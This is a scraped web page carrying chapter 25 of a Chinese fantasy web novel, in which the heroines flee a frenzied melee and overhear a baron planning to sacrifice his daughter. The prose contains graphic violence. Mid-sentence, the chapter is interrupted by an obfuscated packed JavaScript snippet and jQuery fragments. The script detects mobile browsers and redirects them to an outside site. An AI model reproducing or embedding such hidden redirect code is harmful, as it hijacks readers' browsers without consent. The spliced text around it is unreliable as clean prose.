123读书网 > 都市小说 > 靠装逼成为万界救世主 > 25.第二十五章
    陆雪莹等人退出教堂时,那群修士仍在外奔波着寻找戏耍了他们之后又逃亡的女巫。


    虽然确认了宁三箴的安全,几人却更加惴惴不安,一阵大事将至的阴云徘徊在所有人心头。


    大街上分外热闹,除了这段时间蜂拥而至的应征者们,还有许多前来置换物品的农民和寻找机会的商人,集市散去,他们正从街道边四散开来,与几人擦肩而过。


    远处是在克莱尔男爵府门前排队的应征者们,他们始终保持着亢奋的热情,甚至会为了一张位置靠前的号码牌大打出手。


    “等一下。”陆雪莹想起了离开男爵府时管家对她们说的话,“‘您可以再一次向我们证明,您是那位最强者。’这句话或许不是让我们再去排一次队的意思?”


    她记得宁三箴时常会看一些竞技生存类的小说,在那种故事中,往往是赢者获得一切,败者丧失性命。


    “但凡不是个招摇撞骗的骗子,基本都能看出阿丝娜·克莱尔小姐身上根本没有恶魔侵蚀的痕迹。”瑟琳垂眸思考,“如果不能治愈一个根本没有得病的人,那该如何证明自己才是那个最强者?”


    远处队伍中的骚动愈演愈烈,由两个人之间的大打出手演变为了两群人之间的拳脚较量。


    “如果没办法达成一个做不到的目标,那么把竞争对手全部干掉,也不失为一种获得对于第一名嘉奖的方法,对吧?”陆雪莹想到了那些小说中的通行准则,“只要规则和嘉奖继续存在,竞争和死斗就有意义。”


    远处的摩擦已经演变为激烈的战斗,管家却依旧置身事外地观看着,甚至重复了一遍他对每个知晓内情者都说过的话:“男爵的许诺永远有效。您可以再一次向我们证明,您是那位最强者。”


    “他要把这片地方变成斗兽场吗?”简低声咒骂了一句。


    “这里还有这么多普通人呢。”瑟琳担心地看着周围的人们,她已经和简自动地开始疏散人群,指引他们尽快往城门口去。


    “赌上自己所有的家产和女儿的幸福,就为了看一场格斗比赛?”陆雪莹感到男爵的思维简直不可理喻,“他疯了吗?”


    “确实离疯不远。”卡奥斯悄无声息地出现在简的身旁。


    白袍的青年修士耸耸肩,笑着说:“怎么用这种眼神看着我?我说过我们会再见面的。”


    他一扬手,星星点点的圣光出现在通往城门的道路上,神光铸成一段段路障,指引着人们分散离开。


    “所以现在最危险的就是那个疯子的女儿。”他朝着远处的塔楼扬了扬下巴,“她需要你们。”


    “赌徒疯起来的时候从来不管赌注怎么想。”


    “那你呢?”简的声音沉静,甚至不忘扶一把路边踉跄将倒的老人,“是你抢走了那女孩重要的信封,现在却要甩下她不管?”


    卡奥斯举起双手:“你这可是污蔑我了。再怎么说,我们至少也算见过两面了朋友了对吧?帮朋友守护一下朋友的朋友不是很正常的事情吗?”


    “再者,”他笑容更深,遥遥指了指远处的教堂,“我可要去帮另一位朋友了,虽然她本事大得很,但是遇到的问题也更棘手啊。”


    “好啦好啦。让有能力的人执行相应的委托,这不是猎龙人公会的准则吗?”卡奥斯摆摆手,一阵巨大的推力推着她们往塔楼走,“就当我叛教一分钟,加入猎龙人公会一分钟好了。”


    “去吧。朋友们,我们还会再见的。”


    “如果我还活着的话。”


    在卡奥斯引导着镇民们撤离之后,林间地就彻底成了那些武人的战场。


    神术的金光和魔法的白光交织,骑士的剑和猎人的刀相撞,即便从中间经过也要万分小心,一不小心就会卷入他人的战场。


    简在又一次用木棒将那些刀光剑影挡开之后,不由得抱怨:“这些家伙简直亢奋到了不可思议的地步,就算是刀口划在腹部也能继续战斗下去,这还是人吗?”


    “他们可能是被某种邪术影响了。”瑟琳小心翼翼地避开了北方修士用魔法为大家支起护盾,“但是我对邪术研究不多,看不出是哪种。”


    “不过,”她看着不远处的塔楼,“我觉得那里像是某个魔法阵的核心。”


    她的脑海中开始不住地演算:“如果以那里为中心铺开魔法阵,是一种非常传统乃至古老的魔法阵铺设方法。从这个角度来看,那个塔楼的建筑风格就能和早期秘传法师塔的形象对应起来。”


    “困难的点在于推演它的能量来源与实质功效。这或许需要靠近那里才能发觉。”


    她没有说的是,这魔法阵总给她一种熟悉的感觉,让她想起曾经在神恩城抽取过她魔力和生命的那个神术阵。


    越接近塔楼,那些人的举动就越发疯狂。


    “金子!珠宝!女人!”一个彪形大汉用刀割下了面前牧师的头颅,将那头颅高高举过头顶,渗漏的血迹一滴滴划过他的脸颊,仿佛那是他得胜的勋章。


    一个修士把火折扔进了干草堆中,看着被他困在马厩里的对手因为熊熊燃起的烈火灼烧而哀嚎不已。


    “异教徒,接受我神圣的审判吧!”


    他放声大笑。


    骑士们的尸体如同一屋子风干腊肉在房顶摇摆,而它们身后披着黑袍的女人眼中闪烁着得意的光,凝视着自己最满意的作品:“贵族?和一群猪肉有什么区别?我也可以是贵族!”


    洛里斯尝试去捂住大家的眼睛。


    “得了吧。”瑟琳把他拍开,“你只有一双手,捂不住那么多对眼睛。不如让我睁眼好好看看这可能存在的魔法阵。总觉得它好眼熟……但是又和那个不一样……”


    她们来到塔楼底部。


    作为纷争的中心,这里反倒清净许多,连之前守候在这里的管家都不见了。


    隐隐约约的争吵声从顶部传来。


    几人放轻手脚,收敛气息,向楼上摸去。


    “你想逃离我,逃离家族,去南方那些贱种的地盘找你的小情人?”


    “根本不可能!”


    “你享受着家族的奶酪和美酒,就应该为家族而死。”


    克莱尔男爵的声音此刻听来已经完全丧失了那种儒雅的气质,而是充斥着说不出的癫狂与偏执。


    “父亲,你醒醒吧,父亲。”阿丝娜的声音带着痛苦与挣扎,“那些上流的贵族根本从来也就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236780|196971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有看得起我们过。您为他们背弃神明、手染献血、做尽脏事,又能得到什么?”


    “得到什么?”男爵似乎是被她天真的发言气笑,“得到面包得到美酒得到财富!你以为是什么供养你长大?如果你的姑姑没有嫁给凡尔纳公爵的哥哥,如果你的奶奶没有嫁给奥梅尔公爵的堂弟,如果……没有这些,你就会和那些落魄的乡间贵族小姐一样,根本得不到教育、得不到美食和美酒、得不到这一身昂贵的华服和现在挥金如土的生活!”


    “家族!”他的拐杖重重地敲击在地板上,“是重于一切的!你的婚姻和自由永远属于家族。家族供养你,当家族需要你联姻的时候,为了家族的利益,即便是嫁给乞丐,你也必须去。”


    “同样的,如果家族需要我背弃神明……”克莱尔男爵闭上了眼睛,“我会不惜一切代价。”


    “也包括你。”他怜惜地摸了摸女儿的脸颊,“阿丝娜。”


    他将阿丝娜藏在梳妆台底下的那个乌木箱子拉出,里面整齐地码放着成沓的信件,其中不少早已因为岁月的流逝而褪色,却依旧折叠整齐,可见主人对它们的精心维护。


    克莱尔男爵面无表情地将那些信件随意抽出,看也不看就撕成碎片扔向了窗外:“那些南方只会说甜言蜜语的小伙子不适合你。”


    “忘了他吧。不要被南方的蜂蜜蛊惑,那些都是虚幻。”


    “家族已为你找到出路。”


    “一切都是虚幻,家族才是真实。”


    被撕碎的信纸洋洋洒洒地从窗口飘落,落得一地雪白。


    好一场大雪,落在阿丝娜的心间。细细密密的冰冷,渗透在她的四肢百骸。


    “父亲啊,那不是……”


    “好了。不要再狡辩了。”男爵拄着拐杖离开,“你现在的任务,就是等待那一刻。”


    “等什么?等他们杀到最后一个人吗?”阿丝娜抹掉脸上的眼泪站起身来,“还是等那边的仪式成功,等你把我献给邪神,等我变成只知繁育的怪物?”


    “你,”克莱尔男爵皱起眉头,“你都知道了?”


    “我不该知道吗?”阿丝娜捂着胸口,单手支在梳妆台前,用最后的中气质问,“当家族把我论斤称重卖掉的时候,我不应该知道吗!”


    “阿丝娜,我的女儿。”当从来都温驯的女儿鼓起勇气开始质问他时,克莱尔男爵反而软化了下来,“我并没有……”


    “他们给你的价码是什么?永生吗?哈哈哈哈……”阿丝娜笑得上气不接下气,“你们也信?教皇是活到了一百岁,可你以为人人都能活到一百岁?谁帮祂做事都能活到一百岁?”


    克莱尔男爵脸上又是尴尬又是被揭穿的羞愤:“胡闹!你之后就会理解我的。”


    父女二人不欢而散。


    瑟琳等人在隐身术的遮掩下侧过身,看着这位狠心的父亲离开。


    房间内,阿丝娜·克莱尔脱力般跌倒在梳妆台上,梳妆台边的丝绸窗帘已经被她抓出了深重的褶皱,那个已经被搬空的乌木箱子就这样静静地靠在她脚边。


    “滴答。”


    “滴答。”


    深色的水痕在木质地板上晕开。